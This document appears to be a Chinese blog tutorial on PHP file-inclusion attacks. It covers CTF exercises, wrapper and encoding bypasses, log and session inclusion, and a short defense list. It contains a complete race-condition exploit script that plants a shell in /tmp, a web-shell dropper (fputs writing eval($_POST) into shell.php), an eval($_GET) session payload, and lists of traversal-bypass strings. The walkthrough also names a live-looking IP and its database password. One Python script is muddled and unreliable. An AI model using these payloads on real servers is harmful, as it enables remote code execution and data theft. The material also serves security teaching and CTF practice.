admin管理员组文章数量:1794759
2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC;EXP以及 如何防御和修复[含PHP;Pyhton,C源码和CTF精题及WP详解](4)
9.10 文件包含&奇技淫巧(5和7版本)
前言
最近遇到一些文件包含的题目,在本篇文章记录两个trick。
环境背景
复现环境还是很容易搭建的:
例题1(php7)
index.php
代码语言:javascript代码运行次数:0运行复制<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>
dir.php
代码语言:javascript代码运行次数:0运行复制<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
例题2(php5)
index.php
代码语言:javascript代码运行次数:0运行复制<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>
phpinfo.php
代码语言:javascript代码运行次数:0运行复制<?php
phpinfo();
?>
两道题的最终目标都是拿到根目录的flag。
phpinfo+LFI
我们看到例题2:
我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:
代码语言:javascript代码运行次数:0运行复制file=php://filter/read=convert.base64-encode/resource=index.php
这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。
最容易想到的是利用包含:
代码语言:javascript代码运行次数:0运行复制http://ip/index.php?file=/flag
但是由于:
代码语言:javascript代码运行次数:0运行复制if (strpos($a,'flag')!==false) {
die('nonono');
}
我们并不能进行读取,那么很容易想到,尝试getshell。
这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。
我们简单写一个测试脚本:
代码语言:javascript代码运行次数:0运行复制import requests
import io
import re
# 目标PHP文件上传处理的URL
target_url = 'http://your-target-url/upload.php'
# 目标URL中可能的会话ID,具体根据目标设置调整
sessid = 'your-session-id'
# 创建一个会话对象
with requests.Session() as session:
# 1. 上传文件以获取phpinfo信息,获取上传缓存路径
# 这里上传一个包含phpinfo()的文件
phpinfo_payload = '<?php phpinfo(); ?>'
# 文件内容,50KB大小,确保能上传成功
file_data = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
target_url,
files={'file': ('phpinfo.php', file_data)},
data={'PHP_SESSION_UPLOAD_PROGRESS': phpinfo_payload},
cookies={'PHPSESSID': sessid}
)
# 2. 从phpinfo的响应中提取上传缓存路径
# 解析phpinfo()输出中的路径
# 这里假设在响应中查找路径的正则表达式
match = re.search(r'Temporary directory\s*=>\s*(.*?)\s', response.text)
if match:
cache_dir = match.group(1).strip()
print(f'上传缓存目录: {cache_dir}')
# 3. 构造木马文件内容
# 在目标目录下创建一个木马文件
malicious_payload = '<?php echo "This is a backdoor"; ?>'
# 上传木马文件到缓存目录
with io.BytesIO(malicious_payload.encode()) as malicious_file:
# 构造POST请求上传木马文件
upload_response = session.post(
target_url,
files={'file': ('sky.php', malicious_file)},
data={'PHP_SESSION_UPLOAD_PROGRESS': 'phpinfo()'},
cookies={'PHPSESSID': sessid}
)
print("木马文件sky.php上传成功。")
print(f"请检查目标路径 {cache_dir} 是否存在 'sky.php' 文件。")
else:
print("无法从phpinfo()响应中提取上传缓存路径。")
这样一旦包含成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。
尝试进行exp编写:
代码语言:javascript代码运行次数:0运行复制#!/usr/bin/python
import sys
import threading
import socket
import time
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php ?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i + 17:i + 44]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。
随后我们就可以轻松getshell:
LFI+php7崩溃(7.0-7.19之间)
前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。
但如果目标不存在phpinfo,应该如何处理呢?
这里可以用php7 segment fault特性。
我们可以利用:
代码语言:javascript代码运行次数:0运行复制http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd
这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:
这样就能达成我们getshell的目的,脚本相对容易很多:
Example 2: 文件内容绕过
代码语言:javascript代码运行次数:0运行复制//test.php
<?php
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
//flag.php
<?php
$flag = ‘flag{flag_is_here}’;
?>
审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。 注:遇到file_get_contents()要想到用php://input绕过。
PHP://FILTER
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
Example 1:
代码语言:javascript代码运行次数:0运行复制<meta charset="utf8"> <!-- 设置网页的字符编码为 UTF-8 -->
<?php
error_reporting(0); // 关闭错误报告
$file = $_GET["file"]; // 从 URL 参数中获取 'file' 的值
// 如果 'file' 的值包含危险的输入,如 'php://input', 'zip://', 'phar://', 'data:',则退出并显示 'hacker!'。
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){ // 如果 'file' 参数存在且不为空
include($file); // 包含指定的文件
}else{
echo '<a href="?file=flag.php">tips</a>'; // 如果 'file' 参数为空,显示一个链接
}
?>
1.点击tip后进入,看到url中出现‘file=flag.php’,[图片无法加载出来,只能以链接形式展示]
2.尝试payload:?php://filter/resource=flag.php,发现无法显示容:
3.尝试payload:?php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:
ZIP://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
Example 1
代码语言:javascript代码运行次数:0运行复制//index.php
<meta charset="utf8"> <!-- 设置网页字符编码为 UTF-8 -->
<?php
error_reporting(0); // 关闭错误报告
$file = $_GET["file"]; // 从 URL 参数中获取 'file' 的值
if (!$file) echo '<a href="?file=upload">upload?</a>'; // 如果 'file' 参数为空,显示一个链接,指向 'upload' 文件
// 检查 'file' 参数是否包含有潜在危险的输入,如果包含则输出 'hick?' 并退出
if(stristr($file,"input") || stristr($file, "filter") || stristr($file,"data")) {
echo "hick?";
exit();
} else {
include($file.".php"); // 如果 'file' 参数有效且不包含危险输入,则包含对应的 PHP 文件
}
?>
<!-- flag在当前目录的某个文件中 -->
//upload.php
<meta charset="utf-8"> <!-- 设置网页字符编码为 UTF-8 -->
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="fupload" /> <!-- 文件上传字段 -->
<input type="submit" value="upload!" /> <!-- 提交按钮 -->
</form>
you can upload jpg,png,zip....<br />
<?php
if (isset($_FILES['fupload'])) { // 检查是否有文件上传
$uploaded_name = $_FILES['fupload']['name']; // 获取上传文件的原始文件名
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取文件的扩展名
$uploaded_size = $_FILES['fupload']['size']; // 获取文件的大小
$uploaded_tmp = $_FILES['fupload']['tmp_name']; // 获取上传文件的临时存储路径
$target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext; // 生成目标文件路径,包括随机的文件名
// 检查文件扩展名是否为 jpg, jpeg, png, zip,并且文件大小小于 100000 字节
if ((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png" || strtolower($uploaded_ext) == "zip") &&
($uploaded_size < 100000)) {
if (!move_uploaded_file($uploaded_tmp, $target_path)) { // 尝试将上传的文件移动到目标路径
echo '<pre>upload error</pre>'; // 如果移动文件失败,则输出错误信息
} else { // 如果成功
echo "<pre>".dirname(__FILE__)."\\{$target_path} successfully uploaded!</pre>"; // 输出成功上传的文件路径
}
} else {
echo '<pre>you can upload jpg,png,zip....</pre>'; // 如果文件类型或大小不符合要求,输出提示信息
}
}
?>
DATA://与PHAR://
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
phar:// 有点类似zip://同样可以导致任意代码执行。
phar://中相对路径和绝对路径都可以使用
9.11
包含APACHE日志文件
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
Apache运行后一般默认会生成两个日志文件:
Windos下是access.log(访问日志)和error.log(错误日志)
Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
如果访问一个不存在的资源时,如XXXX<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。
参考文章:
1.包含日志文件getshell
2.一道包含日志文件的CTF题
包含SESSION
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。 session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
参考文章:一道SESSION包含的CTF题
包含/PROC/SELF/ENVIRON
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
参考文章:[proc / self / environ Injection]
包含临时文件
php中上传文件,会创建临时文件。
在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup
包含/PROC/SELF/ENVIRON
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
参考文章:proc / self / environ Injection
包含上传文件
很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
图片马的制作方式如下,在cmd控制台下输入:
代码语言:javascript代码运行次数:0运行复制进入1.jpg和2.php的文件目录后,执行:
copy 1.jpg/b+2.php 3.jpg
将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为`/upload/201811.jpg`
图片代码如下:
代码语言:javascript代码运行次数:0运行复制<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
然后访问URL:.php?page=./upload/201811.jpg
,包含这张图片,将会在index.php
所在的目录下生成shell.php
其他包含姿势
包含SMTP(日志)
包含xss
9.12 文件包含漏洞的绕过方法
9.12.1 指定前缀绕过
目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 测试代码如下:
代码语言:javascript代码运行次数:0运行复制<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file;
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
代码语言:javascript代码运行次数:0运行复制 include.php?file=../../log/flag.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。
编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
../
- %2e%2e%2f
- ..%2f
- %2e%2e/
..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
2.二次编码
../
- %252e%252e%252f
..\
- %252e%252e%255c
3.容器/服务器的编码方式
../
- ..%c0%af
- 注:Why does Directory traversal attack %C0%AF work?
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal
..\
- ..%c1%9c
9.12.2 指定后缀绕过
后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
代码语言:javascript代码运行次数:0运行复制<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt";
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
利用URL
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment
完整url格式:
代码语言:javascript代码运行次数:0运行复制protocol :// hostname[:port] / path / [;parameters][?query]#fragment
11
query
[访问参数] ?file=http://localhost:8081/phpinfo.php?
[拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
Example:(设在根目录下有flag2.txt文件)
fragment(
[访问参数] ?file=http://localhost:8081/phpinfo.php%23
[拼接后] ?file=http://localhost:8081/phpinfo.php#.txt
利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
[访问参数] ?file=zip://D:\zip.jpg%23phpinfo
[拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt
phar://
[访问参数] ?file=phar://zip.zip/phpinfo
[拼接后] ?file=phar://zip.zip/phpinfo.txt
Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码
代码语言:javascript代码运行次数:0运行复制<?php phpinfo();?>
所以分别构造payload为:
代码语言:javascript代码运行次数:0运行复制`?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo`
?file=phar://../../php.zip/phpinfo
长度截断
利用条件:
php版本 < php 5.2.8
原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
代码语言:javascript代码运行次数:0运行复制 ?file=./././。。。省略。。。././shell.php
11
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
%00截断
利用条件:
magic_quotes_gpc = Off
php版本 < php 5.3.4
利用方法:
直接在文件名的最后加上%00来截断指定的后缀名
代码语言:javascript代码运行次数:0运行复制 ?file=shell.php%00
注:据观察现在用到%00阶段的情况已经不多了
- 9.13 文件包含漏洞防御
- allow_url_include和allow_url_fopen最小权限化
- 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
- 白名单限制包含文件,或者严格过滤 .
9.14 一道CTF题:PHP文件包含(本题综合性较强)
PHP文件包含 Session
Task
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/
Solution
php伪协议读取源码
点击login,发现链接变为:
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=login.php
推测文件包含。
login.php访问:
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
得到login.php源码:
代码语言:javascript代码运行次数:0运行复制<?php
// 如果表单提交了用户名和密码
if ($_POST['username'] && $_POST['password']) {
require_once('config.php'); // 引入数据库配置文件
$username = $_POST['username']; // 获取用户名
$password = md5($_POST['password']); // 获取密码并进行 MD5 加密
// 尝试连接到数据库
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
// 如果连接失败,输出错误信息并退出
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8"); // 设置字符集为 UTF-8
// 准备 SQL 查询语句,检查用户名是否存在
$sql = "SELECT * FROM user WHERE username=?";
$stmt = $mysqli->prepare($sql); // 准备语句
$stmt->bind_param("s", $username); // 绑定参数
$stmt->bind_result($res_id, $res_username, $res_password); // 绑定结果变量
$stmt->execute(); // 执行查询
$stmt->store_result(); // 存储结果集
$count = $stmt->num_rows; // 获取结果集中行数
// 如果用户名已存在,提示用户
if ($count) {
die('User name Already Exists');
} else {
// 如果用户名不存在,准备插入新用户的 SQL 语句
$sql = "INSERT INTO user(username, password) VALUES(?, ?)";
$stmt = $mysqli->prepare($sql); // 准备语句
$stmt->bind_param("ss", $username, $password); // 绑定参数
$stmt->execute(); // 执行插入操作
echo 'Register OK!<a href="index.php">Please Login</a>'; // 注册成功提示
}
$stmt->close(); // 关闭语句
$mysqli->close(); // 关闭数据库连接
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Register</title>
<link href="static/bootstrap.min.css" rel="stylesheet"> <!-- 引入 Bootstrap 样式 -->
<script src="static/jquery.min.js"></script> <!-- 引入 jQuery -->
<script src="static/bootstrap.min.js"></script> <!-- 引入 Bootstrap 脚本 -->
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px" class="span3"/> <!-- 用户名输入框 -->
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3"> <!-- 密码输入框 -->
<button type="submit" class="btn btn-primary">REGISTER</button> <!-- 注册按钮 -->
</form>
</div>
</body>
</html>
<?php
}
?>
register.php访问:
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=register.php
register.php:
代码语言:javascript代码运行次数:0运行复制<?php
// 如果表单提交了用户名和密码
if ($_POST['username'] && $_POST['password']) {
require_once('config.php'); // 引入数据库配置文件
$username = $_POST['username']; // 获取用户名
$password = md5($_POST['password']); // 获取密码并进行 MD5 加密
// 尝试连接到数据库
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
// 如果连接失败,输出错误信息并退出
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8"); // 设置字符集为 UTF-8
// 准备 SQL 查询语句,检查用户名是否存在
$sql = "SELECT * FROM user WHERE username=?";
$stmt = $mysqli->prepare($sql); // 准备语句
$stmt->bind_param("s", $username); // 绑定参数
$stmt->bind_result($res_id, $res_username, $res_password); // 绑定结果变量
$stmt->execute(); // 执行查询
$stmt->store_result(); // 存储结果集
$count = $stmt->num_rows; // 获取结果集中行数
// 如果用户名已存在,提示用户
if ($count) {
die('User name Already Exists');
} else {
// 如果用户名不存在,准备插入新用户的 SQL 语句
$sql = "INSERT INTO user(username, password) VALUES(?, ?)";
$stmt = $mysqli->prepare($sql); // 准备语句
$stmt->bind_param("ss", $username, $password); // 绑定参数
$stmt->execute(); // 执行插入操作
echo 'Register OK!<a href="index.php">Please Login</a>'; // 注册成功提示
}
$stmt->close(); // 关闭语句
$mysqli->close(); // 关闭数据库连接
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Register</title>
<link href="static/bootstrap.min.css" rel="stylesheet"> <!-- 引入 Bootstrap 样式 -->
<script src="static/jquery.min.js"></script> <!-- 引入 jQuery -->
<script src="static/bootstrap.min.js"></script> <!-- 引入 Bootstrap 脚本 -->
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px" class="span3"/> <!-- 用户名输入框 -->
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3"> <!-- 密码输入框 -->
<button type="submit" class="btn btn-primary">REGISTER</button> <!-- 注册按钮 -->
</form>
</div>
</body>
</html>
<?php
}
?>
config.php访问:
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=config.php
config.php:
代码语言:javascript代码运行次数:0运行复制<?php
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>
index.php
代码语言:javascript代码运行次数:0运行复制<?php
error_reporting(0); // 关闭错误报告,以免显示错误信息
session_start(); // 启动会话,使用 SESSION 变量来存储用户登录状态
// 如果 GET 请求中包含 'action' 参数
if (isset($_GET['action'])) {
include $_GET['action']; // 动态加载指定的 PHP 文件
exit(); // 退出当前脚本的执行
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"> <!-- 设置字符编码为 UTF-8 -->
<title>Login</title> <!-- 网页标题 -->
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- 响应式设计,适配不同设备 -->
<link href="css/bootstrap.css" rel="stylesheet" media="screen"> <!-- 引入 Bootstrap 样式 -->
<link href="css/main.css" rel="stylesheet" media="screen"> <!-- 引入自定义样式 -->
</head>
<body>
<div class="container"> <!-- 使用 Bootstrap 的容器 -->
<div class="form-signin"> <!-- 用于显示登录相关的表单 -->
<?php if (isset($_SESSION['username'])) { ?>
<!-- 如果会话中存在 'username',表示用户已登录 -->
<?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}
else { ?>
<!-- 如果会话中不存在 'username',表示用户未登录 -->
<?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
} ?>
</div>
</div>
</body>
</html>
<?php
}
?>
index.php源码:
代码审计[PS:前面给过注释了,此处不在注释了]
SQL注入?
往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
看一下register.php,这里仅截取部分代码:
代码语言:javascript代码运行次数:0运行复制# register.php
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
再看一下login.php:
代码语言:javascript代码运行次数:0运行复制# login.php
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
这里都使用了PHP的PDO处理(忘记的同学可以回看顺便进行复习),因此这里存在sql注入的可能性很小。
Session
接着再看看,有哪些参数是可控的。
在login.php中:
代码语言:javascript代码运行次数:0运行复制# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
这里使用了session来保存用户会话,php手册中是这样描述的:
PHP 会将会话中的数据设置到 $_SESSION
变量中。
当 PHP 停止的时候,它会自动读取 $_SESSION
中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
考虑到变量$username
是我们可控的,并且被设置到了$_SESSION
中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。关于session包含的相关知识,可以见这篇文章chybeta:PHP文件包含
要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85
访问:
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
这个/var/lib/php5/
的session文件路径是测试出来的,常见的也就如chybeta:PHP文件包含中所述的几种。
base64_encode
能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
代码语言:javascript代码运行次数:0运行复制$_SESSION['username'] = base64_encode($username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下base64的编码过程。比如编码abc。
代码语言:javascript代码运行次数:0运行复制未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j
考虑一下session的前缀:username|s:12:"
,中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
代码语言:javascript代码运行次数:0运行复制16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Get Flag
注册一个账号,比如:
代码语言:javascript代码运行次数:0运行复制chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
其base64加密后的长度为128,大于100。
代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=phpinfo();
成功getshell。
访问:
